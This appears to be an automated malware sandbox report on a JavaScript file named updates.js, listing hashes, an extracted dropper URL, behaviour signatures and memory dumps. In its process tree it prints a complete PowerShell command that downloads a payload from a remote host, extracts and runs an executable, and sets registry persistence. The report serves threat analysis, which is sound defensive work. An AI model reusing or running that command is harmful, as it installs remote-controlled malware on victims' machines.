Analysis

  • max time kernel
    120s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240611-en
  • resource tags

    arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system
  • submitted
    03-07-2024 20:44

General

  • Target

    updates.js

  • Size

    7.3MB

  • MD5

    69da3925220ff90aefd28766c75a04b9

  • SHA1

    fbd11ad48154197617c19d06728391a72172fa58

  • SHA256

    4ce41be6e6f3f37ed9a75211cbd951009b19222191fc143c12d83fa1ee48542c

  • SHA512

    8c3ab680a5e5999d72f0e56c3728e035772747d0c34038eae213f86581dc191197449f769b416917cba7b90e6c2b2fa38762c8c58decea4d0fc59734b4d56516

  • SSDEEP

    49152:47h4zjCxb7qHlp4BOlN0KFhcuscyEMzYsm7++86mn3Ef/Vf7GI0/3qp6RCgScEQA:v

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://helpcenter.cyou/help.php?8560

exe.dropper

http://helpcenter.cyou/help.php?8560

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\updates.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2976
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $RPBHC='http://helpcenter.cyou/help.php?8560';$UAWWAWEN=(New-Object System.Net.WebClient).DownloadString($RPBHC);$RJOJJCE=[System.Convert]::FromBase64String($UAWWAWEN);$asd = Get-Random -Minimum -10 -Maximum 37; $RZPF=[System.Environment]::GetFolderPath('ApplicationData')+'\TYHEIBOHQ'+$asd;if (!(Test-Path $RZPF -PathType Container)) { New-Item -Path $RZPF -ItemType Directory };$p=Join-Path $RZPF 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$RJOJJCE);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$RZPF)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $RZPF 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $RZPF -Force; $fd.attributes='Hidden';$s=$RZPF+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='WUGHFT';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2940

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2940-4-0x000007FEF5A6E000-0x000007FEF5A6F000-memory.dmp

    Filesize

    4KB

  • memory/2940-5-0x000000001B770000-0x000000001BA52000-memory.dmp

    Filesize

    2.9MB

  • memory/2940-6-0x0000000002150000-0x0000000002158000-memory.dmp

    Filesize

    32KB

  • memory/2940-7-0x000007FEF57B0000-0x000007FEF614D000-memory.dmp

    Filesize

    9.6MB

  • memory/2940-8-0x000007FEF57B0000-0x000007FEF614D000-memory.dmp

    Filesize

    9.6MB

  • memory/2940-9-0x000007FEF57B0000-0x000007FEF614D000-memory.dmp

    Filesize

    9.6MB

  • memory/2940-11-0x000007FEF57B0000-0x000007FEF614D000-memory.dmp

    Filesize

    9.6MB

  • memory/2940-10-0x000007FEF57B0000-0x000007FEF614D000-memory.dmp

    Filesize

    9.6MB

  • memory/2940-13-0x000007FEF57B0000-0x000007FEF614D000-memory.dmp

    Filesize

    9.6MB